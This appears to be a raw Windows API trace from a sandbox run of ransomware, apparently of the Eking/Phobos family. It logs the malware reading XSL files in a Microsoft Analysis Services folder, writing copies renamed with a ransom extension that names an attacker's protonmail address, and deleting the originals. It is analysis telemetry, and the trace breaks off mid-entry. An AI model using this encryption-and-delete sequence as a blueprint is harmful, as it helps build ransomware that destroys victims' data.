[0184.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0184.204] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0184.205] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0184.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0184.550] ReadFile (in: hFile=0x1e0, lpBuffer=0x37b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d5fce4, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesRead=0x2d5fce4*=0x4360, lpOverlapped=0x0) returned 1 [0184.556] WriteFile (in: hFile=0x1e8, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x4370, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0x4370, lpOverlapped=0x0) returned 1 [0184.558] WriteFile (in: hFile=0x1e8, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0xf2, lpOverlapped=0x0) returned 1 [0184.559] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0184.559] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0184.559] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2d5fa44, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fa44*=0x4360, lpOverlapped=0x0) returned 1 [0184.563] FlushFileBuffers (hFile=0x1e0) returned 1 [0184.569] FlushFileBuffers (hFile=0x1e8) returned 1 [0184.571] CloseHandle (hObject=0x1e0) returned 1 [0184.572] CloseHandle (hObject=0x1e8) returned 1 [0184.575] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 1 [0184.577] SetEvent (hEvent=0x174) returned 1 [0184.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0184.579] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=30948) returned 1 [0184.580] CloseHandle (hObject=0x1e8) returned 1 [0184.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 0x20 [0184.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 0x20 [0184.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0184.580] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0184.580] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0184.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e0 [0184.585] ReadFile (in: hFile=0x1e8, lpBuffer=0x37b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d5fce4, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesRead=0x2d5fce4*=0x78e4, lpOverlapped=0x0) returned 1 [0184.588] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0x78f0, lpOverlapped=0x0) returned 1 [0184.590] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0xf2, lpOverlapped=0x0) returned 1 [0184.591] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0184.591] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0184.591] WriteFile (in: hFile=0x1e8, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x78e4, lpNumberOfBytesWritten=0x2d5fa44, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fa44*=0x78e4, lpOverlapped=0x0) returned 1 [0184.746] FlushFileBuffers (hFile=0x1e8) returned 1 [0184.750] FlushFileBuffers (hFile=0x1e0) returned 1 [0184.753] CloseHandle (hObject=0x1e8) returned 1 [0184.753] CloseHandle (hObject=0x1e0) returned 1 [0184.768] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 1 [0184.770] SetEvent (hEvent=0x174) returned 1 [0184.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0184.771] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=28974) returned 1 [0184.771] CloseHandle (hObject=0x1e0) returned 1 [0184.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 0x20 [0184.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 0x20 [0184.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0184.772] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0184.772] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0184.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0184.773] ReadFile (in: hFile=0x1e0, lpBuffer=0x37b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d5fce4, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesRead=0x2d5fce4*=0x712e, lpOverlapped=0x0) returned 1 [0184.775] WriteFile (in: hFile=0x1e8, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x7130, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0x7130, lpOverlapped=0x0) returned 1 [0184.778] WriteFile (in: hFile=0x1e8, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0xf2, lpOverlapped=0x0) returned 1 [0184.778] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0184.778] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0184.778] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x712e, lpNumberOfBytesWritten=0x2d5fa44, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fa44*=0x712e, lpOverlapped=0x0) returned 1 [0184.782] FlushFileBuffers (hFile=0x1e0) returned 1 [0184.786] FlushFileBuffers (hFile=0x1e8) returned 1 [0184.788] CloseHandle (hObject=0x1e0) returned 1 [0184.788] CloseHandle (hObject=0x1e8) returned 1 [0184.790] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 1 [0184.792] SetEvent (hEvent=0x174) returned 1 [0184.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0184.794] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=34076) returned 1 [0184.794] CloseHandle (hObject=0x1e8) returned 1 [0184.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 0x20 [0184.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 0x20 [0184.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0184.795] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0184.795] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0184.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e0 [0184.796] ReadFile (in: hFile=0x1e8, lpBuffer=0x37b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d5fce4, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesRead=0x2d5fce4*=0x851c, lpOverlapped=0x0) returned 1 [0184.798] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x8520, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0x8520, lpOverlapped=0x0) returned 1 [0184.800] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0xf2, lpOverlapped=0x0) returned 1 [0184.801] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0184.801] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0184.801] WriteFile (in: hFile=0x1e8, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x851c, lpNumberOfBytesWritten=0x2d5fa44, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fa44*=0x851c, lpOverlapped=0x0) returned 1 [0184.805] FlushFileBuffers (hFile=0x1e8) returned 1 [0184.811] FlushFileBuffers (hFile=0x1e0) returned 1 [0184.813] CloseHandle (hObject=0x1e8) returned 1 [0184.813] CloseHandle (hObject=0x1e0) returned 1 [0184.815] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 1 [0184.817] SetEvent (hEvent=0x174) returned 1 [0184.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0184.820] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=32146) returned 1 [0184.820] CloseHandle (hObject=0x1e0) returned 1 [0184.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 0x20 [0184.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 0x20 [0184.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0184.821] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0184.821] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0184.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0184.822] ReadFile (in: hFile=0x1e0, lpBuffer=0x37b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d5fce4, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesRead=0x2d5fce4*=0x7d92, lpOverlapped=0x0) returned 1 [0184.827] WriteFile (in: hFile=0x1e8, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x7da0, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0x7da0, lpOverlapped=0x0) returned 1 [0184.829] WriteFile (in: hFile=0x1e8, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0xf2, lpOverlapped=0x0) returned 1 [0184.829] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0184.829] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0184.829] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x7d92, lpNumberOfBytesWritten=0x2d5fa44, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fa44*=0x7d92, lpOverlapped=0x0) returned 1 [0184.842] FlushFileBuffers (hFile=0x1e0) returned 1 [0184.846] FlushFileBuffers (hFile=0x1e8) returned 1 [0184.849] CloseHandle (hObject=0x1e0) returned 1 [0184.849] CloseHandle (hObject=0x1e8) returned 1 [0184.851] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 1 [0184.852] SetEvent (hEvent=0x174) returned 1 [0184.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0184.853] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=39515) returned 1 [0184.853] CloseHandle (hObject=0x1e8) returned 1 [0184.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0x20 [0184.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0x20 [0184.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0184.854] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0184.854] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0184.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e0 [0184.855] ReadFile (in: hFile=0x1e8, lpBuffer=0x37b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d5fce4, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesRead=0x2d5fce4*=0x9a5b, lpOverlapped=0x0) returned 1 [0184.858] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0x9a60, lpOverlapped=0x0) returned 1 [0184.861] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0xf2, lpOverlapped=0x0) returned 1 [0184.861] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0184.861] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0184.861] WriteFile (in: hFile=0x1e8, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x9a5b, lpNumberOfBytesWritten=0x2d5fa44, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fa44*=0x9a5b, lpOverlapped=0x0) returned 1 [0184.866] FlushFileBuffers (hFile=0x1e8) returned 1 [0184.870] FlushFileBuffers (hFile=0x1e0) returned 1 [0184.872] CloseHandle (hObject=0x1e8) returned 1 [0184.872] CloseHandle (hObject=0x1e0) returned 1 [0184.878] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 1 [0184.881] SetEvent (hEvent=0x174) returned 1 [0184.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0184.884] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=29790) returned 1 [0184.884] CloseHandle (hObject=0x1e0) returned 1 [0184.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: 